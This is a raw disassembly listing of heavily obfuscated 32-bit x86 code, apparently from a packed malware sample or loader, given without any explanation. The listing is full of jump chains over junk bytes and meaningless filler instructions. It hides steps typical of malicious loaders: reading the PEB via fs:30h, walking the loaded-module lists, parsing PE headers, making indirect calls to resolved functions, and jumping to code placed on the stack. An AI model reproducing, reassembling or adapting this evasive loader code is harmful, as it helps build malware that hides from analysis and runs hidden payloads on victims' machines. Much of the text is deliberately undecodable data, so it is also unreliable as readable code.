--------------------------------------------------------------------------- loc_4035E3: ; CODE XREF: .text:loc_4035F2j jmp short near ptr sub_403611 ; --------------------------------------------------------------------------- db 0A1h, 0C6h, 87h dd 2352DDB4h, 7F9ED920h db 4Ch, 95h ; --------------------------------------------------------------------------- loc_4035F2: ; CODE XREF: .text:loc_4035C2j jmp short loc_4035E3 ; --------------------------------------------------------------------------- dd 11389BAAh, 4DE47776h, 49501302h, 57C6F4Eh, 81688B5Ah dd 0BD146726h, 0B98003B2h db 0FEh ; =============== S U B R O U T I N E ======================================= sub_403611 proc far ; CODE XREF: .text:loc_4035E3j ; .text:loc_403DD8p ... var_C = dword ptr -0Ch push ebx push eax push edi mov eax, 809A9Ah push eax pop eax mov edi, ebx xor edi, esi cld pop edi pop eax push edi jmp short loc_403652 ; --------------------------------------------------------------------------- db 57h, 44h, 2Dh dd 29B0F362h, 0E5DC4FAEh, 61C86BBAh, 9D744786h, 99E0E312h dd 550C3F5Eh, 0D1F85B6Ah, 0DA43736h ; --------------------------------------------------------------------------- loc_403648: ; CODE XREF: sub_403611:loc_403652j jmp short loc_403675 ; --------------------------------------------------------------------------- dw 0D3C2h dd 2F0E0910h ; --------------------------------------------------------------------------- cmp al, 0C5h loc_403652: ; CODE XREF: sub_403611+12j jmp short loc_403648 ; --------------------------------------------------------------------------- db 1Ah ; --------------------------------------------------------------------------- loc_403655: ; CODE XREF: sub_403611:loc_403675j jmp short loc_403685 ; --------------------------------------------------------------------------- db 4Bh dd 27E64128h, 0C3727DD4h, 1FBE7940h, 3BCA356Ch, 1796B158h dd 0B322ED04h, 0F6EE970h ; --------------------------------------------------------------------------- pushf loc_403675: ; CODE XREF: sub_403611:loc_403648j jmp short loc_403655 ; --------------------------------------------------------------------------- db 0A5h dd 21882B7Ah, 5D340746h, 59A0A3D2h ; --------------------------------------------------------------------------- push ds loc_403685: ; CODE XREF: sub_403611:loc_403655j mov eax, large fs:30h push edi push esi jns short loc_403691 push ebp pop esi loc_403691: ; CODE XREF: sub_403611+7Cj xor edi, edi inc esi cld pop esi pop edi mov eax, [eax+0Ch] push edi push esi not edi std cld pop esi pop edi mov edi, [eax+0Ch] push esi push ecx lea ecx, ds:808B9Ah push edi pop ecx mov esi, edi stc cld pop ecx pop esi push edi jmp short loc_4036E1 ; --------------------------------------------------------------------------- db 64h, 0CDh, 82h ; --------------------------------------------------------------------------- loc_4036BB: ; CODE XREF: sub_403611:loc_4036E1j jmp short loc_4036F4 ; --------------------------------------------------------------------------- db 93h, 0D0h, 0C9h dd 85FCEFCEh, 1E80BDAh, 3D94E7A6h, 39008332h, 0F52CDF7Eh dd 7118FB8Ah, 0ADC4D756h, 0A93073E2h db 2Eh ; --------------------------------------------------------------------------- loc_4036E1: ; CODE XREF: sub_403611+A5j jmp short loc_4036BB ; --------------------------------------------------------------------------- db 0CFh dd 0EB3A655Ch, 0C706E148h, 63921DF4h, 0BFDE1960h ; --------------------------------------------------------------------------- loc_4036F4: ; CODE XREF: sub_403611:loc_4036BBj ; sub_403611+26Ej mov eax, [edi+18h] push ebx push esi xchg ebx, ebx rcl esi, 0A6h inc esi clc cld pop esi pop ebx mov ebx, eax push ebx push esi lea esi, ds:809F9Ah lea esi, ds:828B9Ah lea ebx, ds:808CDAh stc cld pop esi pop ebx add ebx, [edi+20h] push edi push ecx inc edi xor ecx, ebx cld pop ecx pop edi cmp [esp+0Ch], eax jbe loc_403833 push edi push ebx mov edi, esp inc edi mov di, 4948h not edi xchg ebx, ebx cld pop ebx pop edi cmp [esp+0Ch], ebx jnb loc_403833 jmp short loc_403772 ; --------------------------------------------------------------------------- db 90h ; --------------------------------------------------------------------------- mov [esi-65BA4351h], ecx loc_403755: ; CODE XREF: sub_403611:loc_403772j jmp short loc_403782 ; --------------------------------------------------------------------------- retf ; --------------------------------------------------------------------------- dd 0A766C1A8h, 43F2FD54h, 9F3EF9C0h, 0BB4AB5ECh, 971631D8h dd 33A26D84h db 0F0h, 69h ; --------------------------------------------------------------------------- loc_403772: ; CODE XREF: sub_403611+13Bj jmp short loc_403755 ; --------------------------------------------------------------------------- dd 251C8FEEh, 0A108ABFAh, 0DDB487C6h db 52h, 23h ; --------------------------------------------------------------------------- loc_403782: ; CODE XREF: sub_403611:loc_403755j pop edi push ebx push ecx lea ebx, ds:80A19Ah inc ecx cld pop ecx pop ebx pop edi jmp short loc_4037C0 ; --------------------------------------------------------------------------- dw 7776h dd 13024DE4h ; --------------------------------------------------------------------------- push eax loc_403799: ; CODE XREF: sub_403611:loc_4037C0j jmp short loc_4037D0 ; --------------------------------------------------------------------------- db 49h dd 57C6F4Eh, 81688B5Ah, 0BD146726h, 0B98003B2h, 75AC5FFEh dd 0F1987B0Ah, 2D4457D6h, 29B0F362h, 0E5DC4FAEh ; --------------------------------------------------------------------------- loc_4037C0: ; CODE XREF: sub_403611+17Fj jmp short loc_403799 ; --------------------------------------------------------------------------- dw 6BBAh db 0C8h, 61h ; --------------------------------------------------------------------------- loc_4037C6: ; CODE XREF: sub_403611:loc_4037D0j jmp short loc_4037F3 ; --------------------------------------------------------------------------- dd 9D744786h, 99E0E312h ; --------------------------------------------------------------------------- loc_4037D0: ; CODE XREF: sub_403611:loc_403799j jmp short loc_4037C6 ; --------------------------------------------------------------------------- pop esi loc_4037D3: ; CODE XREF: sub_403611:loc_4037F3j jmp short loc_403805 ; --------------------------------------------------------------------------- db 3Fh, 0Ch, 55h dd 0D1F85B6Ah, 0DA43736h, 910D3C2h, 0C53C2F0Eh, 41284B1Ah dd 7DD427E6h db 72h, 0C3h, 40h ; --------------------------------------------------------------------------- loc_4037F3: ; CODE XREF: sub_403611:loc_4037C6j jmp short loc_4037D3 ; --------------------------------------------------------------------------- db 79h, 0BEh, 1Fh dd 3BCA356Ch, 1796B158h, 0B322ED04h db 70h ; --------------------------------------------------------------------------- loc_403805: ; CODE XREF: sub_403611:loc_4037D3j pop ebx push edi push esi test al, ch dec edi not edi jmp loc_403818 ; --------------------------------------------------------------------------- not edi xor edi, ebp cmp al, 0F5h loc_403818: ; CODE XREF: sub_403611+1FCj mov esi, edx inc edi cld pop esi pop edi retn ; --------------------------------------------------------------------------- push edi push eax lea edi, ds:808D1Ah mov di, 4BC6h cmp bh, bh inc edi xor eax, ebp cld pop eax pop edi loc_403833: ; CODE XREF: sub_403611+11Bj ; sub_403611+135j mov edi, [edi] jmp short loc_403864 ; --------------------------------------------------------------------------- and [esi+7], eax loc_40383A: ; CODE XREF: sub_403611:loc_403864j jmp short loc_40387C ; --------------------------------------------------------------------------- dd 0A3D25D34h, 0FF1E59A0h, 1B2A15CCh, 0F7F691B8h, 9382CD64h dd 0EFCEC9D0h, 0BDA85FCh, 0E7A601E8h, 83323D94h, 0DF7E3900h ; --------------------------------------------------------------------------- loc_403864: ; CODE XREF: sub_403611+224j jmp short loc_40383A ; --------------------------------------------------------------------------- dw 0F52Ch dd 7118FB8Ah, 0ADC4D756h, 0A93073E2h, 655CCF2Eh, 0E148EB3Ah ; --------------------------------------------------------------------------- loc_40387C: ; CODE XREF: sub_403611:loc_40383Aj cmp [esp+0], edi jnz loc_4036F4 jmp short loc_4038B6 ; --------------------------------------------------------------------------- db 92h db 63h, 60h ; --------------------------------------------------------------------------- loc_40388A: ; CODE XREF: sub_403611:loc_4038B6j jmp short loc_4038CC ; --------------------------------------------------------------------------- sbb esi, ebx mov edi, 0DBEAD58Ch js short loc_4038E6 mov dh, 0B7h and al, 8Dh inc edx push ebx nop mov [esi-65BA4351h], ecx retf ; --------------------------------------------------------------------------- db 0A8h dd 54A766C1h, 0C043F2FDh, 0EC9F3EF9h, 0D8BB4AB5h ; --------------------------------------------------------------------------- xor [esi], edx loc_4038B6: ; CODE XREF: sub_403611+274j jmp short loc_40388A ; --------------------------------------------------------------------------- xchg eax, edi test [ebp-5Eh], ch xor esi, eax imul ebp, esi, 0FA251C8Fh stosd or [ecx-224B783Ah], ah push edx loc_4038CC: ; CODE XREF: sub_403611:loc_40388Aj pop edi jmp short loc_4038F2 ; --------------------------------------------------------------------------- xchg eax, ebp stosb wait loc_4038D2: ; CODE XREF: sub_403611:loc_4038F2j jmp short loc_403902 ; --------------------------------------------------------------------------- dd 77761138h, 13024DE4h, 6F4E4950h, 8B5A057Ch db 68h, 81h ; --------------------------------------------------------------------------- loc_4038E6: ; CODE XREF: sub_403611+282j db 26h, 67h adc al, 0BDh mov dl, 3 ; --------------------------------------------------------------------------- dd 5FFEB980h db 0ACh, 75h ; --------------------------------------------------------------------------- loc_4038F2: ; CODE XREF: sub_403611+2BCj jmp short loc_4038D2 ; --------------------------------------------------------------------------- or bh, [ebx-68h] icebp setalc push edi inc esp loc_4038FB: ; CODE XREF: sub_403611:loc_403902j jmp short loc_403929 ; --------------------------------------------------------------------------- sub eax, 29B0F362h loc_403902: ; CODE XREF: sub_403611:loc_4038D2j jmp short loc_4038FB ; --------------------------------------------------------------------------- dd 0E5DC4FAEh, 61C86BBAh, 9D744786h, 99E0E312h, 550C3F5Eh dd 0D1F85B6Ah, 0DA43736h, 910D3C2h, 0C53C2F0Eh db 1Ah ; --------------------------------------------------------------------------- loc_403929: ; CODE XREF: sub_403611:loc_4038FBj pop ebx push edi push eax cmp al, 0D7h xor edi, esp shl eax, 0FCh cmp esp, eax mov eax, 8089DAh mov eax, edx neg edi mov ax, 493Ch dec edi cld pop eax pop edi retn sub_403611 endp ; sp-analysis failed ; --------------------------------------------------------------------------- push edx push esi test ecx, eax test al, ch not edx push edi pop esi xor edx, eax mov si, 496Bh cmp bl, ah stc push edx pop esi cld pop esi pop edx loc_40395F: ; CODE XREF: .text:loc_401302j pusha push edx push ecx shr ecx, 0FFh mov edx, eax mov ecx, 80A05Ah push ebp pop edx push eax pop ecx not ecx xchg ecx, ecx cmp ebx, edx xchg ecx, ecx inc ecx cld pop ecx pop edx call near ptr sub_401346 push esi push ebx jmp loc_40398B ; --------------------------------------------------------------------------- neg esi dec esi loc_40398B: ; CODE XREF: .text:00403983j xor esi, eax xor ebx, esp test eax, edx inc esi cld pop ebx pop esi push 0CB932CE2h push eax push ebx mov ebx, edi sub eax, 80A8DAh push esi pop eax rcl eax, 3Ch lea ebx, ds:818E5Ah cld pop ebx pop eax push esi push ecx push eax cmp esi, edx xor ecx, eax mov cx, 48FEh neg eax dec ecx cld pop eax pop ecx call near ptr sub_401692 push edi push ebx shl edi, 49h rcl ebx, 8 mov edi, esp mov ebx, ecx rcl edi, 4Ch push edi pop ebx mov ebx, edi xor ebx, esi cld pop ebx pop edi call eax push ebx push edi xor ebx, ebp lea ebx, ds:80CADAh inc edi xor edi, eax not edi shl edi, 27h not ebx clc cld pop edi pop ebx cmp eax, 80000000h jbe loc_403A33 push eax push edx xchg eax, edx xor edx, 80AA9Ah rcr edx, 0FCh cld pop edx pop eax popa push edx push edi rol edx, 91h push edi pop edi db 0F3h rep cld pop edi pop edx retn ; --------------------------------------------------------------------------- push eax push esi shl esi, 44h shl eax, 79h mov eax, ebx test eax, esi inc esi cld pop esi pop eax loc_403A33: ; CODE XREF: .text:004039FFj push esi push ecx push ebx mov bx, 48F8h mov ebx, eax mov ecx, 808B5Ah cld pop ebx pop ecx push 3DE4A069h jmp short loc_403A74 ; --------------------------------------------------------------------------- db 7Ah db 2Bh, 88h ; --------------------------------------------------------------------------- loc_403A4E: ; CODE XREF: .text:loc_403A74j jmp short loc_403A88 ; --------------------------------------------------------------------------- dd 34074621h, 0A0A3D25Dh, 0CCFF1E59h, 0B81B2A15h, 64F7F691h dd 0D09382CDh, 0FCEFCEC9h, 0E80BDA85h, 94E7A601h ; --------------------------------------------------------------------------- loc_403A74: ; CODE XREF: .text:00403A49j jmp short loc_403A4E ; --------------------------------------------------------------------------- dw 323Dh dd 7E390083h ; --------------------------------------------------------------------------- loc_403A7C: ; CODE XREF: .text:loc_403A88j jmp short loc_403AAB ; --------------------------------------------------------------------------- dw 2CDFh dd 18FB8AF5h, 0C4D75671h ; --------------------------------------------------------------------------- loc_403A88: ; CODE XREF: .text:loc_403A4Ej jmp short loc_403A7C ; --------------------------------------------------------------------------- dw 0E2ADh dd 2EA93073h, 3A655CCFh, 6E148EBh, 921DF4C7h, 0DE196063h dd 0EAD58CBFh, 0B65178DBh db 0B7h, 24h, 8Dh ; --------------------------------------------------------------------------- loc_403AAB: ; CODE XREF: .text:loc_403A7Cj push esi jmp short loc_403AD8 ; --------------------------------------------------------------------------- dw 0AF8Eh ; --------------------------------------------------------------------------- mov esp, 0A8CB9A45h loc_403AB5: ; CODE XREF: .text:loc_403AD8j jmp short loc_403AE8 ; --------------------------------------------------------------------------- db 0C1h dd 0FD54A766h, 0F9C043F2h, 0B5EC9F3Eh, 31D8BB4Ah, 6D849716h dd 69F033A2h, 251C8FEEh, 0A108ABFAh ; --------------------------------------------------------------------------- loc_403AD8: ; CODE XREF: .text:00403AACj jmp short loc_403AB5 ; --------------------------------------------------------------------------- mov byte ptr [edi+2352DDB4h], 20h fstp dword ptr [esi-556AB381h] wait loc_403AE8: ; CODE XREF: .text:loc_403AB5j call near ptr sub_401692 jmp short loc_403B1F ; --------------------------------------------------------------------------- db 4Dh dd 49501302h, 57C6F4Eh, 81688B5Ah, 0BD146726h, 0B98003B2h dd 75AC5FFEh, 0F1987B0Ah ; --------------------------------------------------------------------------- setalc push edi loc_403B0E: ; CODE XREF: .text:loc_403B1Fj jmp short loc_403B3E ; --------------------------------------------------------------------------- dd 0F3622D44h, 4FAE29B0h, 6BBAE5DCh db 0C8h, 61h, 86h ; --------------------------------------------------------------------------- loc_403B1F: ; CODE XREF: .text:00403AEDj jmp short loc_403B0E ; --------------------------------------------------------------------------- db 47h, 74h, 9Dh db 12h, 0E3h, 0E0h ; --------------------------------------------------------------------------- loc_403B27: ; CODE XREF: .text:loc_403B3Ej jmp short loc_403B55 ; --------------------------------------------------------------------------- cdq pop esi aas or al, 55h push 5Bh clc sal dword ptr [esi], 1 aaa movsb or eax, 910D3C2h push cs das cmp al, 0C5h loc_403B3E: ; CODE XREF: .text:loc_403B0Ej jmp short loc_403B27 ; --------------------------------------------------------------------------- dd 41284B1Ah, 7DD427E6h, 7940C372h, 356C1FBEh, 0B1583BCAh ; --------------------------------------------------------------------------- xchg eax, esi loc_403B55: ; CODE XREF: .text:loc_403B27j mov edx, eax push edx push edi cmp al, 0FEh push edi pop edi jnb loc_403B6F neg edx not edx mov edx, esi push ecx pop edx mov di, 493Ch loc_403B6F: ; CODE XREF: .text:00403B5Dj test ecx, edx xor edi, edi repne cld pop edi pop edx and edx, 0FFFF0000h push eax push esi push ecx pop eax rcr esi, 0A1h rol esi, 48h cmp cl, dl inc esi cld pop esi pop eax call eax push ecx push ebx test ecx, eax mov ebx, 8091DAh dec ebx inc ecx mov ebx, eax rcr ebx, 3Ch xor ecx, ebp test al, dh cmp edi, ecx xchg ebx, ecx cld cld pop ebx pop ecx cmp eax, edx jz loc_403C3B push edi push esi or esi, 80A19Ah xchg edi, edi js loc_403BC4 std loc_403BC4: ; CODE XREF: .text:00403BBDj mov edi, edx test eax, ebx std shr esi, 8 cld pop esi pop edi sub esp, 1000h push edi push eax test cl, dl lea eax, ds:8108DAh xchg edi, edi dec eax cld pop eax pop edi jmp esp ; --------------------------------------------------------------------------- jmp short loc_403C16 ; --------------------------------------------------------------------------- and [esi+7], eax loc_403BEC: ; CODE XREF: .text:loc_403C16j jmp short loc_403C2E ; --------------------------------------------------------------------------- dw 5D34h dd 59A0A3D2h, 15CCFF1Eh, 91B81B2Ah, 0CD64F7F6h, 0C9D09382h dd 85FCEFCEh, 1E80BDAh, 3D94E7A6h, 39008332h db 7Eh, 0DFh ; --------------------------------------------------------------------------- loc_403C16: ; CODE XREF: .text:00403BE7j jmp short loc_403BEC ; --------------------------------------------------------------------------- dd 0FB8AF52Ch, 0D7567118h, 73E2ADC4h, 0CF2EA930h, 0EB3A655Ch db 48h, 0E1h ; --------------------------------------------------------------------------- loc_403C2E: ; CODE XREF: .text:loc_403BECj jmp loc_403DD8 ; --------------------------------------------------------------------------- push edi push edx not edx inc edx cld pop edx pop edi loc_403C3B: ; CODE XREF: .text:00403BADj push 0FB0730Ch push ecx push edi xchg ecx, ecx neg edi jns loc_403C51 xchg ecx, edi std mov edi, ecx loc_403C51: ; CODE XREF: .text:00403C46j cld pop edi pop ecx push esi jmp short loc_403C82 ; --------------------------------------------------------------------------- db 0EAh db 0DBh, 78h ; --------------------------------------------------------------------------- loc_403C5A: ; CODE XREF: .text:loc_403C82j jmp short loc_403C96 ; --------------------------------------------------------------------------- push ecx mov dh, 0B7h and al, 8Dh inc edx push ebx nop mov [esi-65BA4351h], ecx retf ; --------------------------------------------------------------------------- db 0A8h dd 54A766C1h, 0C043F2FDh, 0EC9F3EF9h, 0D8BB4AB5h, 84971631h db 6Dh, 0A2h ; --------------------------------------------------------------------------- loc_403C82: ; CODE XREF: .text:00403C55j jmp short loc_403C5A ; --------------------------------------------------------------------------- dd 0EE69F033h ; --------------------------------------------------------------------------- loc_403C88: ; CODE XREF: .text:loc_403C96j jmp short loc_403CB9 ; --------------------------------------------------------------------------- dw 1C8Fh dd 8ABFA25h, 0B487C6A1h db 0DDh, 52h ; --------------------------------------------------------------------------- loc_403C96: ; CODE XREF: .text:loc_403C5Aj jmp short loc_403C88 ; --------------------------------------------------------------------------- dd 9ED92023h db 7Fh ; --------------------------------------------------------------------------- loc_403C9D: ; CODE XREF: .text:loc_403CB9j jmp short loc_403CCC ; --------------------------------------------------------------------------- db 4Ch dd 389BAA95h, 0E4777611h, 5013024Dh, 7C6F4E49h, 688B5A05h dd 14672681h db 0BDh ; --------------------------------------------------------------------------- loc_403CB9: ; CODE XREF: .text:loc_403C88j jmp short loc_403C9D ; --------------------------------------------------------------------------- db 0B2h dd 0FEB98003h, 0A75AC5Fh, 0D6F1987Bh, 622D4457h ; --------------------------------------------------------------------------- loc_403CCC: ; CODE XREF: .text:loc_403C9Dj call near ptr sub_401692 jmp short loc_403CFE ; --------------------------------------------------------------------------- db 0C8h db 61h, 86h ; --------------------------------------------------------------------------- loc_403CD6: ; CODE XREF: .text:loc_403CFEj jmp short loc_403D0E ; --------------------------------------------------------------------------- dd 129D7447h, 5E99E0E3h, 6A550C3Fh, 36D1F85Bh, 0C20DA437h dd 0E0910D3h, 1AC53C2Fh, 0E641284Bh, 727DD427h ; --------------------------------------------------------------------------- retn ; --------------------------------------------------------------------------- inc eax loc_403CFE: ; CODE XREF: .text:00403CD1j jmp short loc_403CD6 ; --------------------------------------------------------------------------- dd 6C1FBE79h db 35h, 0CAh, 3Bh ; --------------------------------------------------------------------------- loc_403D07: ; CODE XREF: .text:loc_403D0Ej jmp short loc_403D35 ; --------------------------------------------------------------------------- db 58h, 0B1h, 96h db 17h, 4 ; --------------------------------------------------------------------------- loc_403D0E: ; CODE XREF: .text:loc_403CD6j jmp short loc_403D07 ; --------------------------------------------------------------------------- loc_403D10: ; CODE XREF: .text:loc_403D35j jmp short loc_403D45 ; --------------------------------------------------------------------------- dw 22EDh dd 6EE970B3h, 7AA59C0Fh, 4621882Bh, 0D25D3407h, 1E59A0A3h dd 2A15CCFFh, 0F691B81Bh, 82CD64F7h ; --------------------------------------------------------------------------- xchg eax, ebx loc_403D35: ; CODE XREF: .text:loc_403D07j jmp short loc_403D10 ; --------------------------------------------------------------------------- db 0D0h dd 0FCEFCEC9h, 0E80BDA85h, 94E7A601h db 3Dh ; --------------------------------------------------------------------------- loc_403D45: ; CODE XREF: .text:loc_403D10j add eax, 5 push ecx push ebx xchg ecx, ecx inc ecx cmp edx, esp cmp eax, edi ror ecx, 0A8h cmp al, 0D1h xor ecx, ebp mov ebx, edi neg ecx xor ebx, ecx cmp al, 0D1h stc cld pop ebx pop ecx call eax jmp short loc_403D92 ; --------------------------------------------------------------------------- db 18h ; --------------------------------------------------------------------------- loc_403D69: ; CODE XREF: .text:loc_403D92j jmp short loc_403DA9 ; --------------------------------------------------------------------------- db 71h dd 0ADC4D756h, 0A93073E2h, 655CCF2Eh, 0E148EB3Ah, 1DF4C706h dd 19606392h, 0D58CBFDEh, 5178DBEAh, 8D24B7B6h ; --------------------------------------------------------------------------- inc edx push ebx loc_403D92: ; CODE XREF: .text:00403D66j jmp short loc_403D69 ; --------------------------------------------------------------------------- db 90h db 89h, 8Eh, 0AFh db 0BCh, 45h ; --------------------------------------------------------------------------- loc_403D9A: ; CODE XREF: .text:loc_403DA9j jmp short loc_403DC8 ; --------------------------------------------------------------------------- dd 0C1A8CB9Ah, 0FD54A766h, 0F9C043F2h db 3Eh ; --------------------------------------------------------------------------- loc_403DA9: ; CODE XREF: .text:loc_403D69j jmp short loc_403D9A ; --------------------------------------------------------------------------- loc_403DAB: ; CODE XREF: .text:loc_403DC8j jmp short loc_403DD8 ; --------------------------------------------------------------------------- db 9Fh, 0ECh, 0B5h ; --------------------------------------------------------------------------- dec edx mov ebx, 971631D8h test [ebp-5Eh], ch xor esi, eax imul ebp, esi, 0FA251C8Fh stosd or [ecx-224B783Ah], ah loc_403DC8: ; CODE XREF: .text:loc_403D9Aj jmp short loc_403DAB ; --------------------------------------------------------------------------- push edx and esp, [eax] fstp dword ptr [esi-556AB381h] wait cmp [ecx], dl jbe short loc_403E4F loc_403DD8: ; CODE XREF: .text:loc_403C2Ej ; .text:loc_403DABj call near ptr sub_403611 push ebx push ecx xchg ecx, ecx not ebx dec ecx mov ebx, edi rcl ebx, 9 dec ebx cld pop ecx pop ebx mov ebp, eax jmp short loc_403E04 ; --------------------------------------------------------------------------- jl short loc_403DF8 pop edx loc_403DF4: ; CODE XREF: .text:loc_403E04j jmp short loc_403E1F ; --------------------------------------------------------------------------- dw 688Bh ; --------------------------------------------------------------------------- loc_403DF8: ; CODE XREF: .text:00403DF1j and dword ptr [esi], 0B2BD1467h add eax, [eax-53A00147h] loc_403E04: ; CODE XREF: .text:00403DEFj jmp short loc_403DF4 ; --------------------------------------------------------------------------- dw 0A75h db 7Bh ; --------------------------------------------------------------------------- loc_403E09: ; CODE XREF: .text:loc_403E1Fj jmp short loc_403E3A ; --------------------------------------------------------------------------- cwde icebp setalc push edi inc esp sub eax, 29B0F362h scasb dec edi fsubr st(5), st mov edx, 8661C86Bh inc edi loc_403E1F: ; CODE XREF: .text:loc_403DF4j jmp short loc_403E09 ; --------------------------------------------------------------------------- db 74h, 9Dh, 12h dd 5E99E0E3h, 6A550C3Fh, 36D1F85Bh, 0C20DA437h, 0E0910D3h db 2Fh, 3Ch ; --------------------------------------------------------------------------- loc_403E3A: ; CODE XREF: .text:loc_403E09j mov edx, eax jmp short loc_403E6B ; --------------------------------------------------------------------------- dw 7DD4h dd 7940C372h, 356C1FBEh, 0B1583BCAh db 96h, 17h, 4 ; --------------------------------------------------------------------------- loc_403E4F: ; CODE XREF: .text:00403DD6j in eax, dx ; --------------------------------------------------------------------------- db 22h ; --------------------------------------------------------------------------- loc_403E51: ; CODE XREF: .text:loc_403E6Bj jmp short loc_403E7E ; --------------------------------------------------------------------------- db 0B3h dd 0F6EE970h, 2B7AA59Ch, 7462188h, 0A3D25D34h, 0FF1E59A0h db 0CCh db 15h, 2Ah ; --------------------------------------------------------------------------- loc_403E6B: ; CODE XREF: .text:00403E3Cj jmp short loc_403E51 ; --------------------------------------------------------------------------- db 1Bh ; --------------------------------------------------------------------------- loc_403E6E: ; CODE XREF: .text:loc_403E7Ej jmp short loc_403E99 ; --------------------------------------------------------------------------- dd 0F7F691B8h, 9382CD64h, 0EFCEC9D0h db 0FCh, 85h ; --------------------------------------------------------------------------- loc_403E7E: ; CODE XREF: .text:loc_403E51j jmp short loc_403E6E ; --------------------------------------------------------------------------- db 0DAh, 0Bh, 0E8h ; --------------------------------------------------------------------------- loc_403E83: ; CODE XREF: .text:loc_403E99j jmp short loc_403EAC ; --------------------------------------------------------------------------- db 1, 0A6h, 0E7h dd 83323D94h, 0DF7E3900h, 0FB8AF52Ch, 0D7567118h db 0C4h ; --------------------------------------------------------------------------- loc_403E99: ; CODE XREF: .text:loc_403E6Ej jmp short loc_403E83 ; --------------------------------------------------------------------------- db 0ADh dd 0A93073E2h, 655CCF2Eh, 0E148EB3Ah, 1DF4C706h ; --------------------------------------------------------------------------- loc_403EAC: ; CODE XREF: .text:loc_403E83j mov ebx, eax push edi push ecx shl ecx, 48h cld pop ecx pop edi add ebx, [ebx+3Ch] push ecx push ebx ror ebx, 0F5h mov bx, 4E52h not ecx mov ecx, edi cld pop ebx pop ecx add ebx, 0F8h jmp short loc_403EFF ; --------------------------------------------------------------------------- db 0EAh, 0DBh, 78h dd 24B7B651h ; --------------------------------------------------------------------------- loc_403ED8: ; CODE XREF: .text:loc_403EFFj jmp short loc_403F0F ; --------------------------------------------------------------------------- lea eax, [edx+53h] nop mov [esi-65BA4351h], ecx retf ; --------------------------------------------------------------------------- db 0A8h, 0C1h, 66h dd 0F2FD54A7h, 3EF9C043h, 4AB5EC9Fh, 1631D8BBh, 0A26D8497h db 33h, 0F0h, 69h ; --------------------------------------------------------------------------- loc_403EFF: ; CODE XREF: .text:00403ECFj jmp short loc_403ED8 ; --------------------------------------------------------------------------- db 0EEh, 8Fh, 1Ch dd 8ABFA25h, 0B487C6A1h ; --------------------------------------------------------------------------- fst qword ptr [edx+23h] loc_403F0F: ; CODE XREF: .text:loc_403ED8j xor edi, edi push ebx push ecx mov ecx, ebp rol ebx, 36h rcl ecx, 4Bh shl ecx, 0F4h push esi pop ebx cmp al, 0EDh cld pop ecx pop ebx loc_403F25: ; CODE XREF: .text:0040420Ej push ebx push edi push ecx xor edi, ecx clc cld pop ecx pop edi lea eax, [esp] push edx push ecx rol ecx, 1Eh mov edx, esi cmp edx, esp add ecx, 808CDAh mov ecx, edi cld pop ecx pop edx push eax jmp short loc_403F72 ; --------------------------------------------------------------------------- dd 8B5A057Ch db 68h, 81h, 26h ; --------------------------------------------------------------------------- loc_403F4F: ; CODE XREF: .text:loc_403F72j jmp short loc_403F82 ; --------------------------------------------------------------------------- db 67h, 14h, 0BDh dd 0B98003B2h, 75AC5FFEh, 0F1987B0Ah, 2D4457D6h, 29B0F362h dd 0E5DC4FAEh, 61C86BBAh db 86h, 47h ; --------------------------------------------------------------------------- loc_403F72: ; CODE XREF: .text:00403F46j jmp short loc_403F4F ; --------------------------------------------------------------------------- db 74h, 9Dh, 12h ; --------------------------------------------------------------------------- loc_403F77: ; CODE XREF: .text:loc_403F82j jmp short loc_403FA9 ; --------------------------------------------------------------------------- db 0E3h, 0E0h, 99h ; --------------------------------------------------------------------------- pop esi aas or al, 55h push 5Bh loc_403F82: ; CODE XREF: .text:loc_403F4Fj jmp short loc_403F77 ; --------------------------------------------------------------------------- clc sal dword ptr [esi], 1 aaa loc_403F88: ; CODE XREF: .text:loc_403FA9j jmp short loc_403FB9 ; --------------------------------------------------------------------------- dw 0DA4h dd 910D3C2h, 0C53C2F0Eh, 41284B1Ah, 7DD427E6h, 7940C372h dd 356C1FBEh, 0B1583BCAh ; --------------------------------------------------------------------------- xchg eax, esi loc_403FA9: ; CODE XREF: .text:loc_403F77j jmp short loc_403F88 ; --------------------------------------------------------------------------- db 17h dd 0B322ED04h, 0F6EE970h, 2B7AA59Ch db 88h ; --------------------------------------------------------------------------- loc_403FB9: ; CODE XREF: .text:loc_403F88j cmp edi, 2 jz loc_40403B push edx push ecx xchg edx, ecx xchg edx, ecx cmp dl, al xor ecx, esi cmp dl, dh xchg edx, ecx xor ecx, ecx mov edx, eax cmp al, al stc cld pop ecx pop edx push 40h jmp short loc_40400A ; --------------------------------------------------------------------------- dw 59A0h dd 15CCFF1Eh db 2Ah ; --------------------------------------------------------------------------- loc_403FE5: ; CODE XREF: .text:loc_40400Aj jmp short loc_40401A ; --------------------------------------------------------------------------- db 1Bh dd 0F7F691B8h, 9382CD64h, 0EFCEC9D0h, 0BDA85FCh, 0E7A601E8h dd 83323D94h, 0DF7E3900h, 0FB8AF52Ch db 18h, 71h ; --------------------------------------------------------------------------- loc_40400A: ; CODE XREF: .text:00403FDCj jmp short loc_403FE5 ; --------------------------------------------------------------------------- dd 0ADC4D756h, 0A93073E2h, 655CCF2Eh ; --------------------------------------------------------------------------- cmp ch, bl loc_40401A: ; CODE XREF: .text:loc_403FE5j jmp loc_404081 ; --------------------------------------------------------------------------- push edx push eax jmp $+5 mov eax, edx and eax, 80A79Ah lea eax, ds:80ABDAh push ebx pop eax push edi pop eax cld pop eax pop edx loc_40403B: ; CODE XREF: .text:00403FBCj push 4 jmp short loc_40406E ; --------------------------------------------------------------------------- db 92h db 63h, 60h ; --------------------------------------------------------------------------- loc_404042: ; CODE XREF: .text:loc_40406Ej jmp short loc_404081 ; --------------------------------------------------------------------------- loc_404044: ; CODE XREF: .text:004040AAj sbb esi, ebx mov edi, 0DBEAD58Ch js short loc_40409E mov dh, 0B7h and al, 8Dh inc edx push ebx nop mov [esi-65BA4351h], ecx retf ; --------------------------------------------------------------------------- db 0A8h dd 54A766C1h, 0C043F2FDh, 0EC9F3EF9h, 0D8BB4AB5h ; --------------------------------------------------------------------------- xor [esi], edx loc_40406E: ; CODE XREF: .text:0040403Dj jmp short loc_404042 ; --------------------------------------------------------------------------- dd 0A26D8497h, 0EE69F033h, 0FA251C8Fh, 0C6A108ABh db 87h ; --------------------------------------------------------------------------- loc_404081: ; CODE XREF: .text:loc_40401Aj ; .text:loc_404042j push dword ptr [ebx+8] jmp short loc_4040B2 ; --------------------------------------------------------------------------- xchg eax, ebp stosb wait cmp [ecx], dl jbe short loc_404104 loc_40408D: ; CODE XREF: .text:loc_4040B2j jmp short loc_4040C5 ; --------------------------------------------------------------------------- db 0E4h dd 5013024Dh, 7C6F4E49h, 688B5A05h db 81h, 26h ; --------------------------------------------------------------------------- 